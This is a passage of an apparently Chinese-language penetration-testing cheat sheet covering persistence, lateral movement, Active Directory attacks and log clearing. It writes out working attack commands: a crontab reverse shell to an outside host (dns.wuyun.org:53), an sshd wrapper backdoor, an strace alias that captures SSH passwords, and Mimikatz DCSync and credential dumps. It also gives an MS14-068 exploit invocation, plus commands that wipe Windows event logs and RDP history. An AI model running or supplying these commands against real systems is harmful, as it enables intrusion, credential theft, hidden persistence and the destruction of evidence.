HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
    HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
    HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
    HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}

###### 26、Windows FAX DLL Injection ######

通过DLL劫持，劫持Explorer.exe对`fxsst.dll`的加载Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启，用于传真服务)将payload.dll保存在`c:\Windows\fxsst.dll`，能够实现dll劫持，劫持Explorer.exe对`fxsst.dll`的加载

###### 27、特殊注册表键值 ######

在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)。[《渗透技巧——"隐藏"注册表的创建》][Link 1][《渗透技巧——"隐藏"注册表的更多测试》][Link 2]

###### 28、快捷方式后门 ######

替换我的电脑快捷方式启动参数POC : [https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK\_backdoor.ps1][https_github.com_Ridter_Pentest_blob_master_powershell_MyShell_Backdoor_LNK_backdoor.ps1]

###### 29、**[Logon Scripts][]** ######

New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null

###### 30、**[Password Filter DLL][] 31、利用BHO实现IE浏览器劫持** ######

##### Linux #####

###### crontab ######

每60分钟反弹一次shell给dns.wuyun.org的53端口

#!bash
    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

###### 硬链接sshd ######

#!bash
    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

链接：ssh root@192.168.206.142 -p 2333

###### SSH Server wrapper ######

#!bash
    cd /usr/sbin
    mv sshd ../bin
    echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    chmod u+x sshd
    //不用重启也行
    /etc/init.d/sshd restart

socat STDIO TCP4:192.168.206.142:22,sourceport=13377

###### SSH keylogger ######

vim当前用户下的.bashrc文件,末尾添加

#!bash
    alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

source .bashrc

###### Cymothoa\_进程注入backdoor ######

./cymothoa -p 2270 -s 1 -y 7777

nc -vv ip 7777

###### rootkit ######

[openssh\_rootkit][openssh_rootkit][Kbeast\_rootkit ][Kbeast_rootkit]Mafix + Suterusu rootkit

###### Tools ######

[Vegile ][Vegile][backdoor][]

#### WEB后门 ####

PHP Meterpreter后门 Aspx Meterpreter后门 weevely webacoo ....

### 横向渗透 ###

#### 端口渗透 ####

##### 端口扫描 #####

*  1.端口的指纹信息(版本信息)
 *  2.端口所对应运行的服务
 *  3.常见的默认端口号
 *  4.尝试弱口令

##### 端口爆破 #####

[hydra][]

##### 端口弱口令 #####

*  NTScan
 *  Hscan
 *  自写脚本

##### 端口溢出 #####

**smb**

*  ms08067
 *  ms17010
 *  ms11058
 *  ...

**apache****ftp** **...**

##### 常见的默认端口 #####

###### 1、web类(web漏洞/敏感目录) ######

第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...

80 web 
    80-89 web 
    8000-9090 web

###### 2、数据库类(扫描弱口令) ######

1433 MSSQL 
    1521 Oracle 
    3306 MySQL 
    5432 PostgreSQL 
    50000 DB2

###### 3、特殊服务类(未授权/命令执行类/漏洞) ######

443 SSL心脏滴血 
    445 ms08067/ms11058/ms17010等 
    873 Rsync未授权 
    5984 CouchDB http://xxx:5984/_utils/ 
    6379 redis未授权 
    7001,7002 WebLogic默认弱口令，反序列 
    9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
    11211 memcache未授权访问 
    27017,27018 Mongodb未授权访问 
    50000 SAP命令执行 
    50070,50030 hadoop默认端口未授权访问

###### 4、常用端口类(扫描弱口令/端口爆破) ######

21 ftp 
    22 SSH 
    23 Telnet 
    445 SMB弱口令扫描 
    2601,2604 zebra路由，默认密码zebra 
    3389 远程桌面

###### 5、端口合计所对应的服务 ######

21 ftp 
    22 SSH 
    23 Telnet 
    25 SMTP 
    53 DNS 
    69 TFTP 
    80 web 
    80-89 web 
    110 POP3 
    135 RPC 
    139 NETBIOS 
    143 IMAP 
    161 SNMP 
    389 LDAP 
    443 SSL心脏滴血以及一些web漏洞测试 
    445 SMB 
    512,513,514 Rexec 
    873 Rsync未授权 
    1025,111 NFS 
    1080 socks 
    1158 ORACLE EMCTL2601,2604 zebra路由，默认密码zebra案 
    1433 MSSQL (暴力破解) 
    1521 Oracle:(iSqlPlus Port:5560,7778) 
    2082/2083 cpanel主机管理系统登陆 (国外用较多) 
    2222 DA虚拟主机管理系统登陆 (国外用较多) 
    2601,2604 zebra路由，默认密码zebra 
    3128 squid代理默认端口，如果没设置口令很可能就直接漫游内网了 
    3306 MySQL (暴力破解) 
    3312/3311 kangle主机管理系统登陆 
    3389 远程桌面 
    3690 svn 
    4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
    4848 GlassFish web中间件 弱口令:admin/adminadmin 
    5432 PostgreSQL 
    5900 vnc 
    5984 CouchDB http://xxx:5984/_utils/ 
    6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
    6379 redis未授权 
    7001,7002 WebLogic默认弱口令，反序列 
    7778 Kloxo主机控制面板登录 
    8000-9090 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非80的端口上 
    8080 tomcat/WDCd/ 主机管理系统，默认弱口令 
    8080,8089,9090 JBOSS 
    8081 Symantec AV/Filter for MSE 
    8083 Vestacp主机管理系统 (国外用较多) 
    8649 ganglia 
    8888 amh/LuManager 主机管理系统默认端口 
    9000 fcgi fcig php执行 
    9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 
    9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
    10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
    11211 memcache未授权访问 
    27017,27018 Mongodb未授权访问 
    28017 mongodb统计页面 
    50000 SAP命令执行 
    50060 hadoop 
    50070,50030 hadoop默认端口未授权访问

#### 域渗透 ####

##### 信息搜集 #####

###### powerview.ps1 ######

Get-NetDomain - gets the name of the current user's domain
    Get-NetForest - gets the forest associated with the current user's domain
    Get-NetForestDomains - gets all domains for the current forest
    Get-NetDomainControllers - gets the domain controllers for the current computer's domain
    Get-NetCurrentUser - gets the current [domain\]username
    Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
    Get-NetUserSPNs - gets all user ServicePrincipalNames
    Get-NetOUs - gets data for domain organization units
    Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
    Invoke-NetUserAdd - adds a local or domain user
    Get-NetGroups - gets a list of all current groups in the domain
    Get-NetGroup - gets data for each user in a specified domain group
    Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
    Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
    Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
    Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
    Get-NetComputers - gets a list of all current servers in the domain
    Get-NetFileServers - get a list of file servers used by current domain users
    Get-NetShare - gets share information for a specified server
    Get-NetLoggedon - gets users actively logged onto a specified server
    Get-NetSessions - gets active sessions on a specified server
    Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
    Get-NetConnections - gets active connections to a specific server resource (share)
    Get-NetFiles - gets open files on a server
    Get-NetProcesses - gets the remote processes and owners on a remote server

###### BloodHound获取域内DNS信息 ######

*  [adidnsdump][]
 *  [域渗透——DNS记录的获取][DNS]

##### 获取域控的方法 #####

###### SYSVOL ######

SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。 相关阅读:

*  [寻找SYSVOL里的密码和攻击GPP(组策略偏好)][SYSVOL_GPP]
 *  [Windows Server 2008 R2之四管理Sysvol文件夹][Windows Server 2008 R2_Sysvol]
 *  [SYSVOL中查找密码并利用组策略首选项][SYSVOL]
 *  [利用SYSVOL还原组策略中保存的密码][SYSVOL 1]

###### MS14-068 Kerberos ######

python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

利用mimikatz将工具得到的[TGT\_domainuser@SERVER.COM.ccache][TGT_domainuser_SERVER.COM.ccache]写入内存，创建缓存证书：

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
    net use k: \pentest.comc$

相关阅读 :

*  [https://adsecurity.org/?p=1640][https_adsecurity.org_p_1640]
 *  [域服务账号破解实践][Link 3]
 *  [Kerberos的认证原理][Kerberos 1]
 *  [深刻理解windows安全认证机制ntlm＆Kerberos][windows_ntlm_Kerberos]

###### Kerberos的银票务 ######

黄金票据和白银票据的一些区别：Golden Ticket：伪造`TGT`，可以获取`任何Kerberos`服务权限银票：伪造TGS，`只能访问指定的服务`加密方式不同：Golden Ticket由`krbtgt`的hash加密Silver Ticket由`服务账号`(通常为计算机账户)Hash加密认证流程不同：金票在使用的过程需要同域控通信银票在使用的过程不需要同域控通信相关阅读 :

*  [攻击者如何使用Kerberos的银票来利用系统][Kerberos 2]
 *  [域渗透——Pass The Ticket][Pass The Ticket]

###### 域服务账号破解 ######

与上面SPN扫描类似的原理[https://github.com/nidem/kerberoast][https_github.com_nidem_kerberoast]获取所有用作SPN的帐户

setspn -T PENTEST.com -Q */*

从Mimikatz的RAM中提取获得的门票

kerberos::list /export

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

###### 凭证盗窃 ######

从搜集的密码里面找管理员的密码

###### NTLM relay ######

*  [One API call away from Domain Admin][]
 *  [privexchange][]
 *  [Exchange2domain][]

###### Kerberos委派 ######

*  [Wagging-the-Dog.html][]
 *  [s4u2pwnage][]
 *  [Attacking Kerberos Delegation][]
 *  [用打印服务获取域控][Link 4]
 *  [Computer Takeover][]
 *  [Combining NTLM Relaying and Kerberos delegation][]
 *  [CVE-2019-1040][]

###### 地址解析协议 ######

实在搞不定再搞ARP

##### 获取AD哈希 #####

*  使用VSS卷影副本
 *  Ntdsutil中获取NTDS.DIT文件
 *  PowerShell中提取NTDS.DIT -->[Invoke-NinaCopy][]
 *  使用Mimikatz提取

mimikatz lsadump::lsa /inject exit

*  使用PowerShell Mimikatz
 *  使用Mimikatz的DCSync 远程转储Active Directory凭证提取 KRBTGT用户帐户的密码数据：

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：krbtgt"exit

管理员用户帐户提取密码数据：

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user：Administrator" exit

*  NTDS.dit中提取哈希 使用esedbexport恢复以后使用ntdsxtract提取

##### AD持久化 #####

###### 活动目录持久性技巧 ######

[https://adsecurity.org/?p=1929][https_adsecurity.org_p_1929] DS恢复模式密码维护 DSRM密码同步

> Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，Windows Server 2003不支持DSRM密码同步。KB961320:[https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,][https_support.microsoft.com_en-us_help_961320_a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni]可参考：[巧用DSRM密码同步将域控权限持久化][DSRM]

[DCshadow][]

###### Security Support Provider ######

简单的理解为SSP就是一个DLL，用来实现身份认证

privilege::debug
    misc::memssp

这样就不需要重启`c:/windows/system32`可看到新生成的文件kiwissp.log

###### **[SID History][]** ######

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

###### **[AdminSDHolder＆SDProp][AdminSDHolder_SDProp]** ######

利用AdminSDHolder＆SDProp(重新)获取域管理权限

###### 组策略 ######

[https://adsecurity.org/?p=2716][https_adsecurity.org_p_2716] [策略对象在持久化及横向渗透中的应用][Link 5]

###### Hook PasswordChangeNotify ######

[http://wooyun.jozxing.cc/static/drops/tips-13079.html][http_wooyun.jozxing.cc_static_drops_tips-13079.html]

###### Kerberoasting后门 ######

[域渗透-Kerberoasting][-Kerberoasting]

###### AdminSDHolder ######

[Backdooring AdminSDHolder for Persistence][]

###### Delegation ######

[Unconstrained Domain Persistence][]

##### TIPS #####

[《域渗透——Dump Clear-Text Password after KB2871997 installed》][Dump Clear-Text Password after KB2871997 installed] [《域渗透——Hook PasswordChangeNotify》][Hook PasswordChangeNotify]

> 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

[《域渗透——Local Administrator Password Solution》][Local Administrator Password Solution]

> 域渗透时要记得留意域内主机的本地管理员账号

[《域渗透——利用SYSVOL还原组策略中保存的密码》][SYSVOL 2]

##### 相关工具 #####

[BloodHound ][BloodHound][CrackMapExec ][CrackMapExec][DeathStar][]

> 利用过程：[http://www.freebuf.com/sectool/160884.html][http_www.freebuf.com_sectool_160884.html]

#### 在远程系统上执行程序 ####

*  At
 *  Psexec
 *  WMIC
 *  Wmiexec
 *  Smbexec
 *  Powershell remoting
 *  DCOM

#### IOT相关 ####

*  1、路由器 [routersploit][]
 *  2、打印机 [PRET][]
 *  3、IOT exp [https://www.exploitee.rs/][https_www.exploitee.rs]
 *  4、相关 [OWASP-Nettacker][][isf][] [icsmaster][]

#### 中间人 ####

*  [Cain][]
 *  [Ettercap][]
 *  [Responder][]
 *  [MITMf][]
 *  [3r/MITMf)][3r_MITMf]

#### 规避杀软及检测 ####

##### Bypass Applocker #####

[UltimateAppLockerByPassList ][UltimateAppLockerByPassList][https://lolbas-project.github.io/][https_lolbas-project.github.io]

##### bypassAV #####

*  Empire
 *  PEspin
 *  Shellter
 *  Ebowla
 *  Veil
 *  PowerShell
 *  Python
 *  [代码注入技术Process Doppelgänging][Process Doppelg_nging]
 *  ...

### 痕迹清理 ###

#### **[Windows日志清除][Windows]** ####

获取日志分类列表：

wevtutil el >1.txt

获取单个日志类别的统计信息：eg.

wevtutil gli "windows powershell"

回显：

creationTime: 2016-11-28T06:01:37.986Z
    lastAccessTime: 2016-11-28T06:01:37.986Z
    lastWriteTime: 2017-08-08T08:01:20.979Z
    fileSize: 1118208
    attributes: 32
    numberOfLogRecords: 1228
    oldestRecordNumber: 1

查看指定日志的具体内容：

wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息：

wevtutil cl "windows powershell"

#### 破坏Windows日志记录功能 ####

利用工具

*  [Invoke-Phant0m][]
 *  [Windwos-EventLog-Bypass][]

#### msf ####

run clearlogs

clearev

#### 3389登陆记录清除 ####

@echo off
    @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    @del "%USERPROFILE%\My Documents\Default.rdp" /a
    @exit

[https_github.com_az0ne_Github_Nuggests]: https://github.com/az0ne/Github_Nuggests
[https_github.com_FeeiCN_GSIL]: https://github.com/FeeiCN/GSIL
[https_github.com_MiSecurity_x-patrol]: https://github.com/MiSecurity/x-patrol
[http_whois.chinaz.com_DomainName_target.com_ws]: http://whois.chinaz.com/?DomainName=target.com&ws
[https_whois.aizhan.com_target.com]: https://whois.aizhan.com/target.com/
[https_x.threatbook.cn]: https://x.threatbook.cn/
[https_dns.aizhan.com]: https://dns.aizhan.com/
[https_www.tianyancha.com]: https://www.tianyancha.com/
[http_www.whomx.com]: http://www.whomx.com/
[http_wy.zone.ci]: http://wy.zone.ci/
[https_github.com_hanc00l_wooyun_publi]: https://github.com/hanc00l/wooyun_publi/
[https_github.com_lavalamp-_password-lists]: https://github.com/lavalamp-/password-lists
[https_pan.baidu.com_s_1dFJyedz]: https://pan.baidu.com/s/1dFJyedz
[Blasting_dictionary]: https://github.com/rootphantomer/Blasting_dictionary
[https_github.com_RicterZ_genpAss]: https://github.com/RicterZ/genpAss/
[https_github.com_bit4woo_passmaker]: https://github.com/bit4woo/passmaker
[https_github.com_LandGrey_pydictor]: https://github.com/LandGrey/pydictor
[https_github.com_laramies_theHarvester]: https://github.com/laramies/theHarvester
[https_github.com_mdsecactivebreach_LinkedInt]: https://github.com/mdsecactivebreach/LinkedInt
[https_github.com_Ridter_Mailget]: https://github.com/Ridter/Mailget
[https_ghostproject.fr]: https://ghostproject.fr/
[https_pwndb2am4tzkvold.onion.to]: https://pwndb2am4tzkvold.onion.to/
[https_github.com_lijiejie_subDomainsBrute]: https://github.com/lijiejie/subDomainsBrute
[https_github.com_ring04h_wydomain]: https://github.com/ring04h/wydomain
[https_github.com_aboul3la_Sublist3r]: https://github.com/aboul3la/Sublist3r
[https_www.google.com]: https://www.google.com/
[https_note.youdao.com_ynoteshare1_index.html_id_247d97fc1d98b122ef9804906356d47a_type_note]: https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/
[https_censys.io_certificates_q_target.com]: https://censys.io/certificates?q=target.com
[https_crt.sh_q_25.target.com]: https://crt.sh/?q=%25.target.com
[https_www.shodan.io]: https://www.shodan.io/
[https_www.zoomeye.org]: https://www.zoomeye.org/
[https_fofa.so]: https://fofa.so/
[https_censys.io]: https://censys.io/
[https_dnsdb.io_zh-cn_search_q_target.com]: https://dnsdb.io/zh-cn/search?q=target.com
[http_api.hackertarget.com_reversedns_q_target.com]: http://api.hackertarget.com/reversedns/?q=target.com
[https_community.riskiq.com_Search_target.com]: https://community.riskiq.com/Search/target.com
[https_github.com_yanxiu0614_subdomain3]: https://github.com/yanxiu0614/subdomain3
[https_github.com_Chora10_FuzzDomain]: https://github.com/Chora10/FuzzDomain
[https_dnsdumpster.com]: https://dnsdumpster.com/
[https_phpinfo.me_domain]: https://phpinfo.me/domain/
[https_dns.bufferover.run_dns_q_baidu.com]: https://dns.bufferover.run/dns?q=baidu.com
[https_github.com_rapid7_metasploit-framework]: https://github.com/rapid7/metasploit-framework
[ssrf_proxy]: https://github.com/bcoles/ssrf_proxy
[https_pentestlab.blog_2017_07_28_command-and-control-icmp]: https://pentestlab.blog/2017/07/28/command-and-control-icmp/
[https_pentestlab.blog_2017_09_06_command-and-control-dns]: https://pentestlab.blog/2017/09/06/command-and-control-dns/
[https_pentestlab.blog_2017_08_29_command-and-control-dropbox]: https://pentestlab.blog/2017/08/29/command-and-control-dropbox/
[https_pentestlab.blog_2017_08_03_command-and-control-gmail]: https://pentestlab.blog/2017/08/03/command-and-control-gmail/
[http_drops.xmd5.com_static_drops_tips-16142.html]: http://drops.xmd5.com/static/drops/tips-16142.html
[https_pentestlab.blog_2017_09_26_command-and-control-twitter]: https://pentestlab.blog/2017/09/26/command-and-control-twitter/
[https_pentestlab.blog_2017_09_14_command-and-control-website-keyword]: https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/
[https_pentestlab.blog_2017_08_19_command-and-control-powershell]: https://pentestlab.blog/2017/08/19/command-and-control-powershell/
[https_pentestlab.blog_2017_09_01_command-and-control-windows-com]: https://pentestlab.blog/2017/09/01/command-and-control-windows-com/
[https_pentestlab.blog_2017_09_12_command-and-control-webdav]: https://pentestlab.blog/2017/09/12/command-and-control-webdav/
[https_www.anquanke.com_post_id_86974]: https://www.anquanke.com/post/id/86974
[https_pentestlab.blog_2017_10_04_command-and-control-https]: https://pentestlab.blog/2017/10/04/command-and-control-https/
[https_pentestlab.blog_2017_10_02_command-and-control-kernel]: https://pentestlab.blog/2017/10/02/command-and-control-kernel/
[https_pentestlab.blog_2017_11_14_command-and-control-website]: https://pentestlab.blog/2017/11/14/command-and-control-website/
[https_pentestlab.blog_2017_11_20_command-and-control-wmi]: https://pentestlab.blog/2017/11/20/command-and-control-wmi/
[https_pentestlab.blog_2017_12_06_command-and-control-websocket]: https://pentestlab.blog/2017/12/06/command-and-control-websocket/
[https_pentestlab.blog_2018_01_02_command-and-control-images]: https://pentestlab.blog/2018/01/02/command-and-control-images/
[https_pentestlab.blog_2018_01_03_command-and-control-web-interface]: https://pentestlab.blog/2018/01/03/command-and-control-web-interface/
[https_pentestlab.blog_2018_01_08_command-and-control-javascript]: https://pentestlab.blog/2018/01/08/command-and-control-javascript/
[Domain Fronting]: https://evi1cg.me/archives/Domain_Fronting.html
[Tor_Fronting.]: https://evi1cg.me/archives/Tor_Fronting.html
[http_cn-proxy.com]: http://cn-proxy.com/
[NC]: https://blog.csdn.net/l_f0rm4t3d/article/details/24004555
[LCX]: http://blog.chinaunix.net/uid-53401-id-4407931.html
[nps]: https://github.com/cnlh/nps
[Tunna]: https://github.com/SECFORCE/Tunna
[Reduh]: https://github.com/sensepost/reDuh
[EW]: https://rootkiter.com/EarthWorm/
[Termite]: https://rootkiter.com/Termite/
[https_rootkiter.com_Termite_README.txt]: https://rootkiter.com/Termite/README.txt
[https_github.com_sensepost_reGeorg]: https://github.com/sensepost/reGeorg
[WHOIS _ TAR]: https://twitter.com/mubix/status/1102780436118409216
[mimikatz]: https://github.com/gentilkiwi/mimikatz
[wce]: https://github.com/vergl4s/pentesting-dump/tree/master/net/Windows/wce_v1_42beta_x64
[Invoke-WCMDump]: https://github.com/peewpw/Invoke-WCMDump
[mimiDbg]: https://github.com/giMini/mimiDbg
[LaZagne]: https://github.com/AlessandroZ/LaZagne
[nirsoft_package]: http://launcher.nirsoft.net/downloads/
[QuarksPwDump]: https://github.com/quarkslab/quarkspwdump
[fgdump]: https://github.com/mcandre/fgdump
[mimipenguin]: https://github.com/huntergregal/mimipenguin
[nmap]: https://nmap.org/
[masscan]: https://github.com/robertdavidgraham/masscan
[zmap]: https://github.com/zmap/zmap
[UACME]: https://github.com/hfiref0x/UACME
[Bypass-UAC]: https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
[Yamabiko]: https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC/Yamabiko
[Windows-Exploit-Suggester]: https://github.com/GDSSecurity/Windows-Exploit-Suggester
[WinSystemHelper]: https://github.com/brianwrf/WinSystemHelper
[wesng]: https://github.com/bitsadmin/wesng
[windows-kernel-exploits]: https://github.com/SecWiki/windows-kernel-exploits
[BeRoot]: https://github.com/AlessandroZ/BeRoot.git
[PowerUP]: https://github.com/HarmJ0y/PowerUp/blob/master/PowerUp.ps1
[ElevateKit]: https://github.com/rsmudge/ElevateKit
[linux-kernel-exploits]: https://github.com/SecWiki/linux-kernel-exploits
[bitsadmin]: http://www.liuhaihua.cn/archives/357579.html
[mof]: https://evi1cg.me/archives/Powershell_MOF_Backdoor.html
[wmi]: https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/
[Userland Persistence With Scheduled Tasks]: https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
[Netsh]: https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/
[https_github.com_outflanknl_NetshHelperBeacon]: https://github.com/outflanknl/NetshHelperBeacon
[Shim]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/
[DLL]: https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/
[https_github.com_sensepost_rattler]: https://github.com/sensepost/rattler
[https_github.com_Yonsm_AheadLib]: https://github.com/Yonsm/AheadLib
[DoubleAgent]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier%28DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D%29/
[https_github.com_Cybellum_DoubleAgent]: https://github.com/Cybellum/DoubleAgent
[waitfor.exe]: https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/
[https_github.com_3gstudent_Waitfor-Persistence]: https://github.com/3gstudent/Waitfor-Persistence
[AppDomainManager]: https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
[Office]: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/
[VSTO_office]: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8VSTO%E5%AE%9E%E7%8E%B0%E7%9A%84office%E5%90%8E%E9%97%A8/
[Office 1]: https://github.com/3gstudent/Office-Persistence
[https_3gstudent.github.io_3gstudent.github.io_Use-Office-to-maintain-persistence]: https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
[https_3gstudent.github.io_3gstudent.github.io_Office-Persistence-on-x64-operating-system]: https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
[CLR]: https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/
[https_github.com_3gstudent_CLR-Injection]: https://github.com/3gstudent/CLR-Injection
[msdtc]: https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/
[Hijack CAccPropServicesClass and MMDeviceEnumerato]: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
[https_github.com_3gstudent_COM-Object-hijacking]: https://github.com/3gstudent/COM-Object-hijacking
[Hijack explorer.exe]: https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/
[Link 1]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/
[Link 2]: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/
[https_github.com_Ridter_Pentest_blob_master_powershell_MyShell_Backdoor_LNK_backdoor.ps1]: https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
[Logon Scripts]: https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/
[Password Filter DLL]: https://3gstudent.github.io/3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/
[openssh_rootkit]: http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
[Kbeast_rootkit]: http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
[Vegile]: https://github.com/Screetsec/Vegile
[backdoor]: https://github.com/icco/backdoor
[hydra]: https://github.com/vanhauser-thc/thc-hydra
[adidnsdump]: https://github.com/dirkjanm/adidnsdump
[DNS]: https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DNS%E8%AE%B0%E5%BD%95%E7%9A%84%E8%8E%B7%E5%8F%96/
[SYSVOL_GPP]: http://www.freebuf.com/vuls/92016.html
[Windows Server 2008 R2_Sysvol]: http://blog.51cto.com/ycrsjxy/203095
[SYSVOL]: https://adsecurity.org/?p=2288
[SYSVOL 1]: https://xz.aliyun.com/t/1653
[TGT_domainuser_SERVER.COM.ccache]: mailto:TGT_domainuser@SERVER.COM.ccache
[Kerberos_PyKEK]: http://adsecurity.org/?p=676
[MS14-068]: http://www.freebuf.com/vuls/56081.html
[Kerberos]: https://adsecurity.org/?p=541
[SQL Server]: https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning/
[SPN]: https://adsecurity.org/?p=1508
[SQLServer]: https://github.com/PyroTek3/PowerShell-AD-Recon
[https_adsecurity.org_p_1640]: https://adsecurity.org/?p=1640
[Link 3]: http://bobao.360.cn/learning/detail/3564.html
[Kerberos 1]: https://blog.csdn.net/wulantian/article/details/42418231
[windows_ntlm_Kerberos]: https://klionsec.github.io/2016/08/10/ntlm-kerberos/
[Kerberos 2]: https://adsecurity.org/?p=2011
[Pass The Ticket]: https://www.feiworks.com/wy/drops/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94Pass%20The%20Ticket.pdf
[https_github.com_nidem_kerberoast]: https://github.com/nidem/kerberoast
[One API call away from Domain Admin]: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
[privexchange]: https://github.com/dirkjanm/privexchange/
[Exchange2domain]: https://github.com/ridter/exchange2domain
[Wagging-the-Dog.html]: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[s4u2pwnage]: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
[Attacking Kerberos Delegation]: https://xz.aliyun.com/t/2931
[Link 4]: https://adsecurity.org/?p=4056
[Computer Takeover]: https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
